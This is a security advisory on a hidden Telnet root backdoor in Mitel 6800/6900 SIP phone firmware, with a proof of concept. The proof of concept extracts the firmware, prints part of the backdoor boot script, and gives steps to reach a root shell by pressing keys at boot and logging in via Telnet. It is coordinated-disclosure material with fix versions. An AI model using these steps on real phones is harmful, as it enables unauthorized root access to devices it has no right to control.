Mitel 6800/6900 Series SIP Phones Backdoor Access

Credit: Moritz Abrell
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-912

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2022-021 Product: Mitel 6800/6900 Series SIP Phones excluding 6970 Mitel 6900 Series IP (MiNet) Phones Manufacturer: Mitel Networks Corporation Affected Version(s): Rel 5.1 SP8 ( and earlier Rel 6.0 ( to 6.1 HF4 ( MiNet and earlier Tested Version(s): Vulnerability Type: Hidden Functionality (Backdoor) (CWE-912) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2022-02-23 Solution Date: 2022-05-03 Public Disclosure: 2022-06-10 CVE Reference: CVE-2022-29854 CVE-2022-29855 Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Mitel Networks Corporation manufactures different IP- and SIP-based desk phones. The manufacturer describes these products, e.g., as follows: "The 6900 IP Series is a powerful suite of desk phones with crystal clear audio, advanced features and a broad array of accessories to improve productivity and mobility in today's modern business environment." The firmware of several phones contains an undocumented backdoor which allows an attacker to gain root access by pressing specific keys on system boot. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The shell script "", which is located in the directory "/etc" on the phone, checks whether the keys "*" and "#" are pressed simultaneously during system startup. The phone then sets its IP address to "" and starts a Telnet server. A Telnet login can then be performed with a static root password. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Identify the backdoor 1.1. Extract the jffs2 file system from an affected Mitel firmware: #> binwalk -e DECIMAL HEXADECIMAL DESCRIPTION - -------------------------------------------------------------------------------- 347 0x15B Linux kernel ARM boot executable zImage (little-endian) 15695 0x3D4F gzip compressed data, maximum compression, from Unix, last modified: 2021-10-22 10:47:08 1223395 0x12AAE3 JFFS2 filesystem, little endian 1.2. Mount the jffs2 file system: #> modprobe jffs2 #> modprobe mtdram total_size=70000 #> modprobe mtdblock #> dd if=12AAE3.jffs2 of=/dev/mtdblock0 #> mount -t jffs2 /dev/mtdblock0 /mnt/ 1.3. The script "" located in the "/etc" directory contains the backdoor logic: #> cat /mnt/etc/ ************* content shortened **************** #!/bin/sh case "$HOSTNAME" in #press and hold * # two keys at the same time "bcm911109_6867i" | "6867i" | "bcm911107_praxis_3" | "bcm911109_aquarius_3") GPIODetect=`gpio get 4` checkDhsgShorted #KEY_OUT0 (GPIO52) -> KEY_IN7 (GPIO50) "DownKey" is press isCCATest=`dbg rw 0x8000d000 8| grep "0x8000d000: 01ff 017f 01ff 01ff 01ff 01ff 01ff 01ff"` keyBoardScanMatch="True" keycombinationMatch=`dbg rw 0x8000d000 8| grep "0x8000d000: 01ff 01ff 01ff 01ff 01af 01ff 01ff 01ff"` ;; esac echo "keyBoardScanMatch = $keyBoardScanMatch, dhsgShorted=$dhsgShorted " echo "GPIODetect = $GPIODetect,keycombinationMatch=$keycombinationMatch" echo "isCCATest = $isCCATest" if [ "$keyBoardScanMatch" -a $dhsgShorted -eq 1 -a $GPIODetect -eq "0" -o "$keycombinationMatch" ]; then mount -t jffs2 /dev/mtdblock3 /nvdata if [ -f $ENETCFG ]; then . $ENETCFG MAC=${ENETCFG_MAC} fi /etc/ up ifconfig eth0 hw ether $MAC ifconfig eth0 netmask up if [ -f /usr/sbin/telnetd ]; then telnetd & fi exit 255 fi ************* content shortened **************** 1.4. The file "ota_BCM911109_PRAXIS_3_voice_v6_5_jffs2.bin" located in the directory "/etc" contains another jffs2 file system. 1.5. Extract and mount the file system as described in Steps 1 and 2. 1.6. The "" in this file system also contains the root password which is set by default and forced by the script: #> cat /mnt/etc/ ************* content shortened **************** if [ -f /usr/sbin/telnetd ]; then # make sure the default password is set for root. (echo (password stripped out); sleep 1; echo (password stripped out) | passwd -a A telnetd & fi ************* content shortened **************** 2. Exploiting 2.1. Boot the phone and press the "*" and "#" keys simultaneously. 2.2. Assign an IP address to communicate with the phone: #> ip addr add dev eth0 2.3. Now, logging in to the phone as the root user with the static password via Telnet is possible: #> telnet Trying Connected to Escape character is '^]'. (none) login: root Password: # id uid=0(root) gid=0(root) groups=0(root) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Upgrade to one of the following (or later) versions: - - 5.1 SP8 HF1 ( - - 6.1 HF5 ( - - 6.2 SP1 ( - - MiNet ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-02-22: Vulnerability discovered 2022-02-23: Vulnerability reported to manufacturer 2022-02-24: Acknowledgement of receipt of the vulnerability report received from the manufacturer 2022-03-30: Consultation with the manufacturer regarding updates to fix the vulnerability 2022-03-30: Manufacturer confirms the vulnerability, informs about the status to fix the vulnerability and asks for an extension of the disclosure timeline 2022-03-31: New disclosure date set to 2022-05-10 2022-05-04: Asking the manufacturer for any updates regarding the vulnerability 2022-05-05: Manufacturer provides a patch to fix this vulnerability 2022-05-05: Manufacturer publishes the vulnerability and assigned CVE IDs 2022-05-05: Manufacturer asks for another extension of the disclosure timeline, as large parts of the phones may still be unpatched in practice 2022-05-05: New disclosure date set to 2022-06-10 2022-06-10: Public disclosure of the vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Mitel IP desk phones: [2] SySS Responsible Disclosure Policy: [3] Vulnerability reports by the manufacturer: [4] CVE-2022-29854: [5] CVE-2022-29855: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Abrell of SySS GmbH. Public Key: Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmKaIVcACgkQrgyb+PE0 i1O5fA/9H7onaudE9cqHwqBf0cjdXczlo2e52XXIvcX7NdxQ7HAPuo3kXAeHQCg4 0IlP2MB8rTBLtEJf43ZJhqDuK2J+Q6ypsVrmAzvCBYswsJjFH2SKYkS9cIx3CSaw 35G+J578oYQMex0fZJGK3vYGBPtTIoXhW3Gb4rdG41o6lhKQ3ELF04/9CQTUpKao llCYe3zOhmacnpJ93w5aCenEPqJnrOy0w1bguQN6j43cEnGyv7hVIwW4ukQ4yTvz iBjoRBx89VdjEQKb7g52D6pnORT48vgkDNXZcowofKtD1LZxPz6fC+cuBabSJz41 MFObTqfW9tYTVsBAuqIlQWavp3sy1Jenh/wb9gHILVXupv5flux2ffuKZPyDg6dq dh66GXJaXEX0cWuUax8z6nj6l0nWOcjmbo07Ad1rox8bSOffSvtNRxEgij8tjwPg UpWD6sofHid9BhGWJpyziBRvADDYSakohHZA+GCNONopVwhJdE+RrfOWaD1HV7jn V+RI1ZmB1MYSDHKK11sfYpIFn1qdvF3l0hM0YVjxcy2iNn/cR9ZnId0wtRK4mVhx wx5XBltwHMBREPgNUnqAmsAuAOitt7+vHdVpWA0/0A1vjJnFfdDy2rSiNoDRysrE jp76E0iYjNPWdtJE67Q449Vwk6RINH7C+sSMbAQq5WfY336TyNQ= =jFCk -----END PGP SIGNATURE-----

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